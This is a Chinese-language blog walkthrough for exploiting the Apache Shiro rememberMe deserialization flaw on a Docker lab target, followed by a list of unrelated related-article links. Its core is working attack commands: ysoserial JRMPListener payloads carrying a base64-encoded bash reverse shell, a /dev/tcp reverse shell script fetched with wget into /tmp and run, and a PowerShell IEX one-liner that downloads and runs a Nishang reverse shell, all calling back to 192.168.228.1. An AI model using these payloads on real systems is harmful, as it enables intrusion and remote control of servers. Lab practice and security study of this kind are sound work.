环境搭建

docker pull medicean/vulapps:s_shiro_1

docker run -d -p 80:8080 medicean/vulapps:s_shiro_1       # 80是指靶机端口,可随意修改

Windows安装模块:pip install pycryptodome

挖掘思路


判断漏洞

登录的时候发现 rememberMe 参数,判断是 shiro

(外网可以访问的情况下)利用在线POC进行验证:http://sbd.ximcx.cn/ShiroRce/

利用 Python POC 也可以检测:https://github.com/Medicean/VulApps/blob/master/s/shiro/1/poc.py

登录:http://admin.dnslog.link/ 账号:test 密码:123456

也可以使用在线的 dnslog 平台:http://www.dnslog.cn/ http://ceye.io/

可以修改他的 dnslog 地址,如果收到请求了说明漏洞存在

漏洞利用


Linux 直接反弹 shell

生成反弹shell命令:http://www.jackson-t.ca/runtime-exec-payloads.html

(VPS)监听

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 5555 CommonsCollections2 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyOC4xLzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}'

注意:靶机是 CommonsCollections2 真实环境一般是:5,我也碰到过是 3 的,到时随机应变

利用POC生成Payload

PS:网上可以找到POC和工具,也有一些大佬写了python可以直接利用的,下面是手工利用方法

(VPS)监听端口,执行 Payload,就成功反弹 Shell 回来了

Linux 利用下载 shell 脚本进行反弹 shell

在服务器创建一个 shell.sh 脚本,开启 http

bash -i >& /dev/tcp/192.168.228.1/2333 0>&1

进行监听,利用 wget 进行下载,当然也可以使用 curl

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 5555 CommonsCollections2 'wget http://192.168.228.1/shell.sh -O /tmp/shell.sh'

执行 Payload,再次进行监听来执行 .sh 文件,同时服务器进行监听端口,等到shell反弹回来

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 5555 CommonsCollections2 'bash /tmp/shell.sh'

windows 利用 powershell 反弹 shell

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 5555 CommonsCollections5 "powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.228.1 -port 2333"

本地环境搞了半天没成功,就不截图了。大概一样的操作,也可以下载下来执行。

文末

不懂代码,不懂分析,终究是个脚本小子啊。永远不知道文章会不会有下次更新,毕竟太菜和太懒了

Shiro 反序列化漏洞利用的更多相关文章

  1. Shiro反序列化漏洞利用汇总(Shiro-550+Shiro-721)

    Apache Shiro是一个强大易用的Java安全框架,提供了认证.授权.加密和会话管理等功能.Shiro框架直观.易用,同时也能提供健壮的安全性. 文章目录: 1.Shiro rememberMe ...

  2. 应急响应--记录一次漏洞紧急处理中意外发现的挖矿木马(Shiro反序列化漏洞和ddg挖矿木马)

    背景 某公司线上服务器意外发现一个Apache Shiro 反序列化漏洞,可以直接GetShell.出于做安全的谨慎,马上出现场应急,确认漏洞.该漏洞存在在cookie字段中的rememberMe字段 ...

  3. 一次关于shiro反序列化漏洞的思考

    0x01前言 之前在我反序列化的那篇文章中(https://www.cnblogs.com/lcxblogs/p/13539535.html),简单说了一下反序列化漏洞,也提了一嘴常见的几种Java框 ...

  4. 【JavaWeb】CVE-2016-4437 Shiro反序列化漏洞分析及代码审计

    Shiro反序列化漏洞分析及代码审计 漏洞简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.   Apache Shiro默认使用了CookieRe ...

  5. Apache Shiro反序列化漏洞复现

    Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...

  6. Apache Shiro 反序列化漏洞复现(CVE-2016-4437)

    漏洞描述 Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理.只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞. 漏洞原理 A ...

  7. CVE-2017-12149JBoss 反序列化漏洞利用

    CVE-2017-12149 漏洞描述 互联网爆出JBOSSApplication Server反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机 ...

  8. CVE-2017-3248——WebLogic反序列化漏洞利用工具

    著名的web中间件WebLogic被曝出之前的反序列化安全漏洞补丁存在绕过安全风险,用户更新补丁后,仍然存在被绕过成功执行远程命令攻击的情况,安全风险高,Oracle官方及时发布了最新补丁,修复了该漏 ...

  9. ThinkPHP v6.0.x 反序列化漏洞利用

    前言: 上次做了成信大的安询杯第二届CTF比赛,遇到一个tp6的题,给了源码,目的是让通过pop链审计出反序列化漏洞. 这里总结一下tp6的反序列化漏洞的利用. 0x01环境搭建 现在tp新版本的官网 ...

随机推荐

  1. python 引用(import)文件夹下的py文件

    importlib.import_module动态导入模块: python中schedule模块的简单使用 || importlib.import_module动态导入模块 先看一下文件目录 1.同级 ...

  2. Cobbler服务部署

    1.安装epel源 yum -y install epel-release 2.安装cobbler环境所需的包 yum install -y httpd dhcp xinetd tftp cobble ...

  3. zzuli-2266 number

    题目描述 某人刚学习了数位DP,他在某天忽然思考如下问题: 给定n,问有多少数对<x, y>满足: x, y∈[1, n], x < y x, y中出现的[0, 9]的数码种类相同 ...

  4. how to convert Map to Object in js

    how to convert Map to Object in js Map to Object just using the ES6 ways Object.fromEntries const lo ...

  5. Contributor License Agreement

    Contributor License Agreement CLA https://cla.js.foundation/lodash/lodash?pullRequest=4756 https://g ...

  6. COOP & COEP

    COOP & COEP Cross-Origin Opener Policy (COOP) and Cross-Origin Embedder Policy (COEP) https://de ...

  7. flutter & i18n & L10n & json

    flutter & i18n & L10n & json https://marketplace.visualstudio.com/items?itemName=esskar. ...

  8. perl 打印简单的help文档

    更多 PrintHelp.pm #!/usr/bin/perl package PrintHelp; require Exporter; use v5.26; use strict; use utf8 ...

  9. css中的transform,transition,translate的关系

    transform 旋转(transform是没有动画效果,你改变了它的值,元素的样子就唰的改变了.其中的位移的函数名就叫translate,所以说,translate是transform的一部分.) ...

  10. java拼接JSON串

    String str = "{\"route\":\"onGift\",\"time\":\"\",\&quo ...